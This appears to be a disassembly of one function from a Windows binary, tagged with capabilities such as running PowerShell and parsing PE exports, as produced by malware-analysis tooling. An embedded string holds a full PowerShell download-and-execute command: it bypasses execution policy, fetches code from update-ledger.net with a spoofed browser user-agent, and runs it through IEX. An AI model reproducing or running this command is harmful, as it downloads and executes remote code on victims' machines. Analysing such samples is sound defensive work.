Function at 0x4edb6f
Capabilities:
Reference http user-agent string
Resolve function by parsing pe exports
Run powershell expression

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x10c
mov dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 2
je 0x4edea2
cmp dword [ebp - 0x1c], 2
ja 0x4ede9c
cmp dword [ebp - 0x1c], 0
je 0x4edcef
cmp dword [ebp - 0x1c], 1
jne 0x4ede9c
mov eax, dword [ebp + 0x54]
mov edx, dword [eax]
mov eax, dword [ebp + 0x58]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x58]
mov ecx, dword [eax]
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp + 0x58]
mov ebx, dword [eax]
mov dword [ebp - 0x34], ebx
mov eax, dword [ebp + 0x58]
mov edi, dword [eax]
mov eax, dword [ebp + 0x58]
mov esi, dword [eax]
mov eax, dword [ebp + 0x58]
mov ebx, dword [eax]
mov eax, dword [ebp + 0x58]
mov ecx, dword [eax]
fld qword [0x88ca88]
fstp qword [esp + 0x94]
mov dword [esp + 0x90], 0x400
mov dword [esp + 0x8c], 0
mov dword [esp + 0x88], 8
mov dword [esp + 0x84], 7
mov dword [esp + 0x80], 6
mov dword [esp + 0x7c], edx
mov dword [esp + 0x78], 2
fld qword [0x88ca50]
fstp qword [esp + 0x70]
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0x6c], eax
mov dword [esp + 0x68], 0
mov dword [esp + 0x64], 5
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x60], eax
mov dword [esp + 0x5c], 9
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x58], eax
mov dword [esp + 0x54], edi
mov dword [esp + 0x50], 1
fld qword [0x88ca70]
fstp qword [esp + 0x48]
mov dword [esp + 0x44], 5
mov dword [esp + 0x40], esi
mov dword [esp + 0x3c], 2
mov dword [esp + 0x38], 9
fld qword [0x88ca50]
fstp qword [esp + 0x30]
mov dword [esp + 0x2c], 1
mov dword [esp + 0x28], 4
fld qword [0x88ca60]
fstp qword [esp + 0x20]
fld qword [0x88ca50]
fstp qword [esp + 0x18]
mov eax, dword [ebp + 0x50]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], 7
mov dword [esp + 8], ecx
fld1
fstp qword [esp]
call fcn.0051a268
mov dword [ebp - 0x1c], 0
jmp 0x4ede9d
mov eax, dword [ebp + 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x48]
mov edx, dword [eax]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp + 0x4c]
mov esi, dword [eax]
mov dword [ebp - 0x34], esi
mov eax, dword [ebp + 0xc]
mov edi, dword [eax]
mov dword [ebp - 0x38], edi
mov eax, dword [ebp + 0x58]
mov ecx, dword [eax]
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp + 0x20]
fld qword [eax]
mov eax, dword [ebp + 0xc]
mov ebx, dword [eax]
mov dword [ebp - 0x40], ebx
mov eax, dword [ebp + 0x18]
mov edx, dword [eax]
mov dword [ebp - 0x44], edx
mov eax, dword [ebp + 0x24]
mov esi, dword [eax]
mov dword [ebp - 0x48], esi
mov eax, dword [ebp + 0x2c]
mov edi, dword [eax]
mov dword [ebp - 0x4c], edi
mov eax, dword [ebp + 0x18]
mov ecx, dword [eax]
mov dword [ebp - 0x50], ecx
mov eax, dword [ebp + 0x10]
fld qword [eax]
mov eax, dword [ebp + 0x2c]
mov ebx, dword [eax]
mov dword [ebp - 0x54], ebx
mov eax, dword [ebp + 0x34]
mov edx, dword [eax]
mov dword [ebp - 0x58], edx
mov eax, dword [ebp + 0x1c]
mov esi, dword [eax]
mov dword [ebp - 0x5c], esi
mov eax, dword [ebp + 0x40]
fld qword [eax]
mov eax, dword [ebp + 0x28]
fld qword [eax]
mov eax, dword [ebp + 0x10]
fld qword [eax]
mov eax, dword [ebp + 0xc]
mov edi, dword [eax]
mov dword [ebp - 0x60], edi
mov eax, dword [ebp + 0x20]
fld qword [eax]
mov eax, dword [ebp + 0x54]
mov ecx, dword [eax]
mov dword [ebp - 0x64], ecx
mov eax, dword [ebp + 0x30]
mov ebx, dword [eax]
mov dword [ebp - 0x68], ebx
mov eax, dword [ebp + 0x14]
mov edx, dword [eax]
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp + 8]
mov edi, dword [eax]
mov eax, dword [ebp + 0x44]
mov esi, dword [eax]
mov eax, dword [ebp + 0x4c]
mov ebx, dword [eax]
mov eax, dword [ebp + 0x3c]
mov ecx, dword [eax]
mov eax, dword [ebp + 0x2c]
mov edx, dword [eax]
mov eax, dword [ebp + 0x38]
fld qword [eax]
mov eax, dword [ebp + 0x28]
fld qword [eax]
fxch st(7)
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0x9c], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x98], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x94], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x90], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0x8c], eax
fstp qword [esp + 0x84]
fxch st(5)
mov eax, dword [ebp - 0x40]
mov dword [esp + 0x80], eax
mov eax, dword [ebp - 0x44]
mov dword [esp + 0x7c], eax
mov eax, dword [ebp - 0x48]
mov dword [esp + 0x78], eax
mov eax, dword [ebp - 0x4c]
mov dword [esp + 0x74], eax
mov eax, dword [ebp - 0x50]
mov dword [esp + 0x70], eax
mov dword [esp + 0x6c], str._c_powershell__NoP__NonI__ExecutionPolicy_Bypass__Command___Resp__Invoke_WebRequest__Uri_https:__update_ledger.net_update__UseBasicParsing__UserAgent_Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_102.0.0.0_Safari_537.36___Scr___System.Text.Encoding_::UTF8.GetString__Resp.Content___IEX__Scr_
mov eax, dword [ebp + 0x50]
mov dword [esp + 0x68], eax
fstp qword [esp + 0x60]
fxch st(3)
mov eax, dword [ebp - 0x54]
mov dword [esp + 0x5c], eax
mov eax, dword [ebp - 0x58]
mov dword [esp + 0x58], eax
mov eax, dword [ebp - 0x5c]
mov dword [esp + 0x54], eax
fstp qword [esp + 0x4c]
fxch st(1)
fstp qword [esp + 0x44]
fstp qword [esp + 0x3c]
mov eax, dword [ebp - 0x60]
mov dword [esp + 0x38], eax
fstp qword [esp + 0x30]
mov eax, dword [ebp - 0x64]
mov dword [esp + 0x2c], eax
mov eax, dword [ebp - 0x68]
mov dword [esp + 0x28], eax
mov eax, dword [ebp - 0x6c]
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], edi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x18], ebx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], edx
fstp qword [esp + 8]
fstp qword [esp]
call fcn.0045d584
mov dword [ebp - 0x1c], 2
jmp 0x4ede9d
nop
jmp 0x4edb82
nop
add esp, 0x10c
pop ebx
pop esi
pop edi
pop ebp
ret